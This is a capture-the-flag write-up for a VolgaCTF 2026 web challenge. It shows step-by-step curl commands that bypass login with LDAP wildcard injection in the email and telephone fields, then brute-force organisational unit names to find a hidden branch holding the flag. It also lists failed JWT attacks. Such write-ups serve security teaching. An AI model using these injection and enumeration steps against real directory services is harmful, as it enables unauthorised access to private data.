Directory
Directory
Platform: volgactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-28 | Status: Solved Techniques: auth_bypass_via_wildcard, hint_analysis, ldap_base_dn_manipulation, ldap_wildcard_injection, ou_brute_force
Summary
Task: Corporate directory service with LDAP backend and JWT auth — bypass authentication and find hidden data. Solution: LDAP wildcard injection in email/telephone fields to bypass auth, then brute-force organizational unit parameter to discover hidden OU containing the flag.
Directory — VolgaCTF 2026
Description
A corporate directory service web application. Bypass auth to get the flag.
Flask/Gunicorn web application backed by OpenLDAP. Three endpoints: /search (user lookup), /auth (JWT authentication requiring username + email + telephone), and /directory (browse departments with JWT). Goal: bypass authentication and find the flag hidden in the LDAP directory.
Analysis
Endpoint Discovery
The application exposes three main endpoints:
POST /search— Search users byusernameoremail. Wildcards (*) blocked inusernamebut allowed inemail, revealing LDAP wildcard injection potential.POST /auth— Authenticate withusername,email, andtelephone. Returns JWT token (HS256) on success.GET /directory— Browse department directory byou(organizational unit) andtelephoneNumberparameters. Requires valid JWT.
Server headers: Server: gunicorn, Access-Control-Allow-Origin: *.
User Enumeration
Using /search with common usernames, two valid accounts were found:
admin— exists but disabled (auth always returns 403: "this account is disabled")operator— exists and active
LDAP Filter Structure
The authentication likely constructs an LDAP search filter like:
(&(uid=USERNAME)(mail=EMAIL)(telephoneNumber=PHONE))
Since email and telephone fields accept wildcards, injecting * matches any value — effectively bypassing the need to know actual credentials.
Hidden Organizational Unit
The /directory endpoint uses the ou parameter to construct the LDAP base DN:
ou=VALUE,dc=volgactf,dc=ru
Only users and staff OUs are advertised, but a hidden secret OU exists containing the flag.
Solution
Step 1: Enumerate Users via /search
bash read-only • copy allowed# Wildcards blocked in username but allowed in email curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \ -H "Content-Type: application/json" \ -d '{"username":"admin"}' # → Found: admin exists curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \ -H "Content-Type: application/json" \ -d '{"username":"operator"}' # → Found: operator exists
Step 2: Bypass Authentication with LDAP Wildcard Injection
bash read-only • copy allowed# Admin is disabled curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \ -H "Content-Type: application/json" \ -d '{"username":"admin","email":"*","telephone":"*"}' # → 403: "this account is disabled" # Operator works — wildcard injection bypasses credential check curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \ -H "Content-Type: application/json" \ -d '{"username":"operator","email":"*","telephone":"*"}' # → 200: JWT token returned # Hint: "Explore /directory to find more information. Departments: users, staff"
JWT payload: {"uid":"operator","iat":...,"exp":...} (HS256 signed).
Step 3: Explore Known Departments
bash read-only • copy allowedTOKEN="<jwt_token>" # List users in 'users' department curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=users&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → jdoe, admin, asmith, operator # List users in 'staff' department curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=staff&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → hr-anna, dev-ivan # KEY HINT from hr-anna's description: # "HR manager. Secrets are kept in a separate branch — ask the operator."
Step 4: Brute-Force Hidden Organizational Unit
The hint about "separate branch" suggests a hidden OU in the LDAP tree.
bash read-only • copy allowed# Brute-force common OU names for ou in secret secrets admin flag flags hidden private confidential restricted; do result=$(curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=$ou&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN") echo "$ou: $result" done # → "secret" returns data!
Step 5: Retrieve the Flag
bash read-only • copy allowedcurl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=secret&telephoneNumber=*" \ -H "Authorization: Bearer $TOKEN" # → User "flag-keeper" with description containing the flag
Failed Approaches
- LDAP injection in username — blocked by character validation (alphanumeric only)
- JWT
alg=noneattack — rejected with "Invalid token" - JWT secret cracking — secret not in common wordlists
- LDAP injection in
telephoneNumber(e.g.,*)(userPassword=*) — returned "No users found" - Authenticating as
admin— account permanently disabled